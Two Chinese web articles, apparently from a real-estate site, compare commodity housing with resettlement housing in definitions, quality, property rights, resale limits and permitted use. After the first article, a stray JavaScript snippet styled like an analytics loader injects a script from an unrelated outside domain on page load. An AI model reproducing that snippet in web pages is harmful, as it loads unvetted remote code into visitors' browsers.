简述商品房与安置房的区别有哪些

同样是作为可以居住的房子，但是商品房和安置房的概念是不同的，从这点就可以看出，商品房与安置房的区别是有很多的，这不仅仅是他们在各自的概念上的不同，同样的，他们之间在其他方面也有很多不同之处，那么商品房与安置房的区别有哪些呢？第一，他们的定义不同。商品房是指一些具备经营资质的房地产公司通过出让的方式取得了土地使用权后经营的一种住宅，而安置房指的是政府机关在进行城市的道路建设或者是其他的公共设施建设时，为了对被拆迁的住户进行安置所建造的房子。第二，安置房的质量相比于商品房较低。这是因为安置房的建设利润受到了很大的限制，所以建筑商们为了能多挣点利润就会偷工减料，所以普遍来说，安置房的质量是不如商品房的。第三，安置房大部分都不属于完全产权。这个意思就是说安置房是只有完全的房屋所有权，但它们不一定会有完全的土地使用权的，但商品房就不是这样的，商品房是拥有全部的产权的。第四，安置房的交易时间受到限制。很多安置房都会有这样一个条件限制着，在这里商品房与安置房的区别就是前者在买到以后就可以交易了，而安置房是有规定说它在几年内不能被交易的。第五，安置房的使用用途受到了一定的限制。安置房安置的对象是因为城市建设被拆迁了的人群，从这点就能看出，安置房如果要进行买卖的话，就会受到地方政策的限制和约束，而商品房就没有这样的约束，只会在法律法规上受到一些限制。上面说了五种商品房与安置房的区别，除了这些还是有很多区别的，在这里只列举这几点，希望可以给有困惑的人一些解答。​ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

安置房和商品房的区别是什么？

现代的房子种类五花八门，有安置房、经济适用房、廉租房、商品房以及公租房等等，对于房子的种类不熟悉的人来说，要去了解这些房子的种类是一件很让人头大的事。基于品种实在太多，很难让我们将其分清。那么下面小编将会给大家介绍什么是安置房和商品房，还有两者的分类以及这两种房子之间的区别，大家有需要的可以参考参考。安置房的概念及分类1、安置房的法律概念安置房，是政府进行城市道路建设和其他公共设施建设项目时，对被拆迁住户进行安置所建的房屋。安置的对象是城市居民被拆迁户，也包括征拆迁房屋的农户。随着城市建设发展步伐的进一步加快，政府尽可能新建更多的安置房，不断满足拆迁户的需求已迫在眉睫。所谓拆迁安置房是指因城市规划、土地开发等原因进行拆迁，而安置给被拆迁人或承租人居住使用的房屋。因为其安置对象是特定的动迁安置户，该类房屋的买卖除受法律、法规的规范之外，还受到当地政府相关的地方政策的约束。所以和一般的商品房交易有很大的不同。2、安置房分类根据相关法规及政策的规定拆迁安置房屋一般分为两大类：一类是因重大市政工程动迁居民而建造的配套商品房或配购的中低价商品房。如黄浦江两岸进行的世博会拆迁。按照有关方面的规定，被安置人获得这种配套商品房的，房屋产权属于个人所有，但在取得所有权的5年之内不能上市交易。另一类是因房产开发等因素而动拆迁，动拆迁公司通过其他途径安置或代为安置人购买的中低价位商品房(与市场价比较而言)。商品房的概念及分类原是指房地产开发经营企业，经批准用于市场出售而建造的房屋。内销商品房是指房地产开发企业通过实行土地使用权出让形式，经过政府计划主管部门审批，建成后用于在境内范围(目前不包括香港、澳门特别行政区和台湾)出售的住宅、商业用房以及其他建筑物。外销商品房是指房地产开发企业按政府外资工作主管部门的规定，通过实行土地批租形式，报政府计划主管部门列入正式项目计划，建成后用于向境内、外出租的住宅，商业用房及其他建筑物。为进一步简化交易手续、刺激住房消费，按照总量控制、合理平稳的原则，北京市政府1999年11月发文规定，除花园式住宅、部队住房和按照市政府制定的租金标准出租的公有住房(廉租房)外，普通内销商品房、侨汇房、经济适用住房，职工已购公有住房、动迁房、职工住宅和其他划拨土地上的住房交易，统一归并为内销商品住房交易，销售对象为中国境内的公民、法人、其他组织和改革开放后赴境外的中国公民。安置房与商品房的区别区别一：安置房相对于商品房来说质量比较低。安置房往往建设利润被限制的很死，因此，建筑商往往能偷工减料就偷工减料以增加利润。加上职能部门监管不力或者甚至沆瀣一气，造成普遍上安置房的质量不如商品房。当然，也有比较负责的或者示范工程之类的，质量相对较好的安置房，但是不多，能碰上算是中彩票了。区别二：相对于商品房安置房大部分是不属于完全产权。很多安置房不是完全产权，即具有完全的房屋所有权，却不一定具有完全的土地使用权。很多安置房的土地性质是划拨土地，也就是没有缴纳出让金。而商品房是完全产权，即完全的房屋所有权和完全的土地使用权，土地性质是出让，也就是缴纳了土地出让金。所以，安置房在以后再次交易时，可能会被要求补缴土地出让金。当然，目前安置房交易并没有要求这样，但法律规定是要缴纳的，所以，一但政府出台政策，那就很可能要交。区别三：安置房交易时间受限。不少安置房都有交易时间限制，也就是规定在几年内不得上市转售。商品房没有这方面的规定，只要是您买到的已经办理过登记的现房，就可以上市交易。不过，商品期房，法律上是不允许转售的。区别四：安置房是否可以交易取决于开发商时候对安置房进行产权登记。拆迁安置房屋的土地是划拨的，因此与购买的正常商品房(商品房开发，开发商取得土地是通过出让方式)是有区别的。但拆迁安置房如果进行了产权登记并取得房屋所有权证，可以进行上市交易。所以要看开发商是否对安置房进行产权登记。区别五：安置房相对于商品房的使用用途来说受到了一定限制。安置房是指因城市规划、土地开发等原因进行拆迁，而安置给被拆迁人或承租人居住使用的房屋。因为其安置对象是特定的动迁安置户，该类房屋的买卖除受法律、法规的规范之外，还受到当地政府相关的地方政策的约束。所以和一般的商品房交易有很大的不同。区别六：相对于商品房来说安置房享有的权利较为不全面。商品房的买受人一般享有该房屋的全部所有权包括占有、使用、收益、处分。买受人可以将此房屋依法转让、出租、抵押、赠与以及继承，甚至可以依法出典。这是因为买受人依法取得了该房屋的所在位置的土地使用权以及土地上坐落房屋的所有权。商品房于其他类型的房屋相比在价格上要高出许多，因此买受人对其享有的权利也相应的全面。通过上面安置房、商品房以及两者之间的区别的介绍，读者朋友们一定对这两种房子有了一定的认识。安置房相对于商品房，其在质量方面的问题是比较突出的，大家如果想要购入安置房，一定要请专业机构进行验房，验房目的是通过专业第三方机构对新房进行全面检查，将交房前的问题提交开发商整改，避免后期收房后，业主承担房屋质量责任，避免不必要的经济损失。